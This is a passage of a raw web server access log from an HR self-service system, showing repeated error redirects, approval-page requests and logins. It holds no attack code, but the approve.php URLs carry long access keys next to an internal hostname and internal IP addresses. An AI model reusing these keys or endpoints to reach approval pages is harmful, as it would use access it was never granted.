/eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132733%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132733&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132733%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132733&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:15:02:48 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA11F5A1923085EB1185795E9C9BEE1FDDC2E6E4515FA4CA59AB76BA706708FFBBA4EB476F1EDF8CA0ADD0169CFA58B8CF7FE220487B7A52259 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [04/Dec/2025:15:02:48 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA11F5A1923085EB1185795E9C9BEE1FDDC2E6E4515FA4CA59AB76BA706708FFBBA4EB476F1EDF8CA0ADD0169CFA58B8CF7FE220487B7A52259 HTTP/1.1" 200 - 100.64.0.1 - - [04/Dec/2025:15:03:37 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA11F5A1923085EB1185795E9C9BEE1FDDC2E6E4515FA4CA59AB76BA706708FFBBA4EB476F1EDF8CA0ADD0169CFA58B8CF7FE220487B7A52259 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [04/Dec/2025:15:03:37 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA11F5A1923085EB1185795E9C9BEE1FDDC2E6E4515FA4CA59AB76BA706708FFBBA4EB476F1EDF8CA0ADD0169CFA58B8CF7FE220487B7A52259 HTTP/1.1" 200 - 100.64.0.1 - - [04/Dec/2025:15:03:38 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA11F5A1923085EB1185795E9C9BEE1FDDC2E6E4515FA4CA59AB76BA706708FFBBA4EB476F1EDF8CA0ADD0169CFA58B8CF7FE220487B7A52259 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:15:03:38 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA11F5A1923085EB1185795E9C9BEE1FDDC2E6E4515FA4CA59AB76BA706708FFBBA4EB476F1EDF8CA0ADD0169CFA58B8CF7FE220487B7A52259 HTTP/1.1" 200 4166 100.64.0.1 - - [04/Dec/2025:15:03:39 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA11F5A1923085EB1185795E9C9BEE1FDDC2E6E4515FA4CA59AB76BA706708FFBBA4EB476F1EDF8CA0ADD0169CFA58B8CF7FE220487B7A52259" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:15:03:39 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 100.64.0.1 - - [04/Dec/2025:15:03:50 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA11F5A1923085EB1185795E9C9BEE1FDDC2E6E4515FA4CA59ABB18A41A62A2F03EBA61AB8FCDA5615388D1A0EB1D914D16CF7F015455007294 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [04/Dec/2025:15:03:50 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA11F5A1923085EB1185795E9C9BEE1FDDC2E6E4515FA4CA59ABB18A41A62A2F03EBA61AB8FCDA5615388D1A0EB1D914D16CF7F015455007294 HTTP/1.1" 200 - 100.64.0.1 - - [04/Dec/2025:15:03:50 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA11F5A1923085EB1185795E9C9BEE1FDDC2E6E4515FA4CA59ABB18A41A62A2F03EBA61AB8FCDA5615388D1A0EB1D914D16CF7F015455007294 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:15:03:50 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA11F5A1923085EB1185795E9C9BEE1FDDC2E6E4515FA4CA59ABB18A41A62A2F03EBA61AB8FCDA5615388D1A0EB1D914D16CF7F015455007294 HTTP/1.1" 200 4166 100.64.0.1 - - [04/Dec/2025:15:03:53 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA11F5A1923085EB1185795E9C9BEE1FDDC2E6E4515FA4CA59ABB18A41A62A2F03EBA61AB8FCDA5615388D1A0EB1D914D16CF7F015455007294" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:15:03:53 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.12.69 - - [04/Dec/2025:15:07:16 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [04/Dec/2025:15:07:16 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.69 - - [04/Dec/2025:15:07:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [04/Dec/2025:15:07:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.52 - - [04/Dec/2025:15:14:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.40.52 - - [04/Dec/2025:15:14:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:15 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:15 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.52 - - [04/Dec/2025:15:14:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:19 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 